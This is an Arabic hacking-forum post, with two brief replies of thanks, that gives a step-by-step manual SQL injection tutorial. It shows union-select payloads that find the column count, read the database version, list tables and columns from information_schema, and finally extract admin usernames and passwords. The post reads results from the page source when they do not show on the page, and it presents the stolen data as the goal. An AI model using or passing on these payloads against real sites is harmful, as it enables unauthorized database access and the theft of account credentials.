تحديث الصفحة حل مشكلة عدم ظهور المعلومات في الحقن اليدوي - SQL Injection

[Mr.RaaD]

~ بسم الله الرحمن الرحيم ~

أول موضوع لي في المنتدى , اتمنى ينال اعجابكم مشكلة ظهور المعلومات الحقن اليدوي

الموضوع يتكلم عن مشكلة تواجه الاغلب في الحقن اليدوي !

(* انا لا اعلم اذا كان احد مكتشفها من قبلي , لكن انا اكتشفتها بجهدي الشخصي *)

كود PHP:

+order+by+6-- 


طبعا اكيد نقعد نخمن على عدد الاعمدة , نفرض العدد 6

كود PHP:

+union+select+1,2,3,4,5,6-- 


في اغلب الاحيان لا يظهر العمود المصاب !!

تمام نيجي للتخطي مشكلة ظهور المعلومات الحقن اليدوي


نحنا افترضنا في البداية عدد الاعمدة 6

نضيف الامر لإستعراض اصدار قاعدة البيانات :

كود PHP:

 +union+select+version(),version(),version(),version(),version(),version()-- 


تمام , ضفنا الامر وحملت الصفحة زي قبل !!



نيجي نفتح سورس الصفحة - Page Source مشكلة ظهور المعلومات الحقن اليدوي


نقرا سورس الصفحة وندور , حتى نلاقي الاصدار مشكلة ظهور المعلومات الحقن اليدوي


تمام جبنا الاصدار نفرض

كود PHP:

 5.0.96-community-log 


الان بدنا نستعرض جداول الصفحة !



نستعرض الجداول :

كود PHP:

 +union+select+group_concat(table_****),group_concat(table_****),group_concat(table_****),group_concat(table_****),group_concat(table_****),group_concat(table_****)+from+information_schema.tables+where+table_schema=database()-- 


زي ما عملنا من قبل , نفتح سورس الصفحة - Page Source



طبعا الجداول رح تظهر في نفس المكان يلي ظهرت فيه القاعدة

الان نفرض الجدول :: Admin

نقوم بتشفير الجدول بالهيكس , من خلال الموقع :

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

عشان تتعرف عليه الاوامر

كود PHP:

0x41646d696e 


ما رح اشرح شو لازم تعدلو بالاوامر , معروفة مشكلة ظهور المعلومات الحقن اليدوي


يصبح الامر هكذا :

كود PHP:

 +union+select+group_concat(column_****),group_concat(column_****),group_concat(column_****),group_concat(column_****),group_concat(column_****),group_concat(column_****)+from+information_schema.columns+where+table_****=0x41646d696e 


تمام زي ما عملنا قبل , نستعرض سورس الصفحة - Source Page



الاعمدة تكون موجودة في نفس المكان يلي لقينا فيه اصدار القاعدة والجداول مشكلة ظهور المعلومات الحقن اليدوي



نفرض الاعمدة :: user****,password

نضيف الامر :

كود PHP:

 +union+select+group_concat(user****,0x3a,password),group_concat(user****,0x3a,password),group_concat(user****,0x3a,password),group_concat(user****,0x3a,password),group_concat(user****,0x3a,password),group_concat(user****,0x3a,password)+from+Admin 


نفتح سورس الصفحة - Page Source


تكون البيانات موجودة في نفس المكان الي استخرجنا منه المعلومات السابقة مشكلة ظهور المعلومات الحقن اليدوي


ومبروك عليك البيانات !!



أعتقد الفكرة وصلت

[Ш A I T I И Ğ]

موضوعك يبيله كاسة شاي للتركيز

بارك الله فيك

[عبد الصمد]

باراك الله فيك
واحي فيك جهدك والاتكال على نفسك
جميل جا واصل